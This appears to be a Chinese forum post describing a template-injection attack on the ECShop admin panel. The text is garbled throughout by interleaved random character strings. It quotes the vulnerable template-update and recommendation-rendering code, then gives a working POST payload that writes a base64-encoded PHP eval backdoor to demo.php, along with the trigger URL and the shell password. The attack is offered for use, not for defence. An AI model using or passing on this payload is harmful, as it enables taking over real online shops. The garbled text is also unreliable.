首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板- d; x; b0 X. }9 U% D0 {
0 m8 B* F4 d+ W+ U) i
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
2 ?7 m E- u; F( |/ ?: L$ e# e但是ecshop似乎不支持{php}{/php}这个标签来执行php代码3 W( `2 z/ O2 p* [
admin/template.php
9 n8 A9 _5 n3 D, W' P( y) ^' v/ ? i# l7 Z. z M7 S0 F
1 if ($_REQUEST['act'] == 'update_library')
: }* n6 l+ p! g' f2 A$ M& {; \1 U( N1 [! d0 O. L$ p6 e
2
6 G4 w; h6 _' j/ U4 N2 h, Z5 `. h9 b1 `# G1 ^
3 { * m3 h; W% I9 i. L* b
3 i5 n0 x% x& ], z: e8 I4 P
4 check_authz_json('library_manage');
# i# v' C7 l P' ~3 h
1 {; O; R* N: L/ E$ t2 G/ {1 N5
% m( I% v) _. g% Y1 Z v" o! D! V0 v* u/ s) N* V) y
6 $html = stripslashes(json_str_iconv($_POST['html'])); 0 [: X9 M E9 c' Z; F. E! I
' z8 P5 u5 @, }" _4 p+ a6 `( O7 + x% v( o# t3 x- J& ~& ]8 \
+ l) }" y0 H% T5 M" b8 M% A8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
: K: m$ Y9 k6 V) A5 Q5 A
" j) S- Q7 D- O. O$ f# c6 w; n2 ?; r9 , a+ e, l- |( }
; I% D5 f, l1 `& ~- V! V/ l2 z- w1 w7 m10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
; w/ Q" d; F# i+ i6 g9 M
4 c3 ^/ E' b* _) l g, k11
7 N" z* Z1 H3 M- z
5 `( a0 u G0 N6 V7 W9 b) L12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
2 m2 ]+ o; Z+ O0 ]5 U! G- \1 q4 O4 n" F
13
/ x7 x3 C. K& n
+ ^7 I0 t3 K" e$ `, a9 i3 o5 ]3 Y! R14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
0 @ `9 Z2 F" @% f" ^0 N% J
, I d' s0 ^& ?% I0 J* x15 { 9 f- q5 h8 B* J' Q0 @$ z
b9 h) V; g, p8 A7 k0 ?16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
" T( O$ o: e5 S% k2 q. l4 c6 r/ ]% z/ X5 y2 k( K7 s: o! R( D
17 make_json_result('', $_LANG['update_lib_success']); ! @1 a+ i1 v' A; v
+ q5 Q' ~- Y& X. e1 J% ^! c18 }
* c# o! r% C1 k
6 `0 a7 r$ V+ p/ z/ o/ r19 else
7 n6 W# Q4 _6 q. ^; Q( Y$ [. G* k- N2 A0 Y8 [
20 {
0 ]: D: q, d) N! R0 w/ U1 i: N( e" d: K) r
21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
) z/ m2 O6 j1 L, @* ]
, |) d; J5 n$ |/ ^; D22 } 6 G0 O9 d4 ~% @2 m/ B5 G
+ B e+ P) q, J/ s6 K- i! w
23 }
0 }& e& l( f) H6 B, l% I/ g! G( Y+ J+ M) k1 j
那么找个比较方便调用了模板的文件
' V% e& O; ?) l+ O4 |: mindex.php
Z9 p" @2 }, V6 e' a' e: y2 s4 o/ I1 [
1 if ($act == 'cat_rec') 0 d! k1 T! V, {0 d) Q/ V$ `2 w
% F2 R8 P. @. W2
5 T3 i0 P# F! ]6 S' p3 m9 q. B5 H1 R2 i+ U- l- i; g3 G& p
3 { 1 @7 }6 N1 J# @4 N. P$ m1 a
' h3 d( I1 @* N' l4 ! ?! O6 S+ z8 {9 X" }
$ e% y! V0 k3 Z" r
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); - i" q" b6 T1 {
' Y: @' t2 z9 k: `2 w
6
2 u' R5 Y, e* h$ t7 m5 {* y# v, h3 v9 G, ]! m9 M$ ~6 h
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
4 `+ u2 C) t; T
. K. q% \% h" x4 D* y2 m4 D0 Q' K$ A8
7 ^, C ^1 U# O
2 n) P7 d8 y6 l& C3 P9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; ( U$ I: F& Q( {$ h; R& C3 A/ y
. Q9 B$ [4 R; N6 P+ |5 I2 V$ {5 m10 8 e, r" d! N8 g. U$ G# ^, S) G
& g7 t9 X. O( ?11 include_once('includes/cls_json.php'); 4 S* y0 L! n$ J9 J# {* | z& ?
) J) F) m! L. g! j1 K: r, `12
, E1 b. Z$ p3 ~
8 z G1 h7 K- _# b- {& M13 $json = new JSON; - f5 M) b" _3 x4 T8 m
7 T! X8 R9 U5 P5 P$ w: P* G
14 . W9 f, p8 R4 L
; k" i/ _' j! ?3 [4 K1 p2 U$ c1 }15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); 1 \+ z& p9 M b: a
, H' {1 }1 B) s9 |+ F1 K$ n& `16
* ^: v7 A. |( U9 A1 w1 x+ J
5 t$ `+ v" k- c0 N3 V# i/ Y; g6 w17 $children = get_children($cat_id); ! q$ J( F2 a' Y6 ~! H
7 E% w3 u) P& ? I- Q
18 1 G* K, O. E2 T' M) d
# D% m5 x6 Z7 l. O" z$ q9 F% c19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品 3 D8 I9 T# \8 y" e/ i/ p a
3 a8 t8 N- A+ {: C20 8 N- m7 R+ _ ]
/ X7 r9 w+ _4 Z
21 $smarty->assign('cat_rec_sign', 1); ! s# @% s [& A
6 _( f& P- S: C) J3 d# A1 u& ]22
, C' K0 v3 z) p7 Q2 H' }! N5 b/ Z7 }# W% F. B i
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
/ r$ |/ `( b& `* Q: g" x" C- f4 z. y. A$ E% ~9 O8 |
24
2 ^5 P( s) B/ Q- k# H
/ P+ F+ U' ~* C3 o9 O( e* O25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
: W8 y' L# F) g. P6 C e9 X `9 Q) B' r. d1 @( Y, U! I: g) b
26
: h, Z( r( z b x4 H4 L* S" Y0 F0 }# L' w
27 echo $rec_array[$rec_type]; / O r* @) ]) C' @2 Y' ]1 E, I
# ?1 y6 z: R# g% O3 ~) L3 V28
% K- @* ?' Z9 ?. A+ x) T
2 l ~# W) X% M( ?, T3 @9 Z5 V1 l/ G8 M29 die($json->encode($result)); * T: e4 F7 T6 Q3 V
! H4 P. s. d& R30
( w2 D9 B% `0 H1 W5 p' l( u' n; l3 \( Q9 K- [3 _ Y/ \
31 } 2 W7 e E0 V7 W! F, z8 r% S
! P) @9 |8 a7 N7 \* Z
那么就有利用方法了
+ n# l' ^) p- [0 xpost包到http://localhost/ec/admin/template.php?act=update_library" y) Z; ^4 W& A6 r
Post内容:
. h# D: ~7 s2 s- X8 _: C
$ [/ z: D5 N0 i( u2 z t) M2 F7 c; K& ?0 r3 k- |/ e
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} D! ], j3 Q3 B4 R* ?, g7 p
- n5 r; u/ }+ x然后访问http://localhost/ec/index.php?act=cat_rec
$ o& d7 d% v+ F
0 Y x( k/ |+ t0 V0 [ Nshel地址:http://localhost/ec/demo.php1 u. o' C4 I+ o! _
密码c2 g/ B% T' q, V( l: C
" F& S* H6 L4 A. T, |
|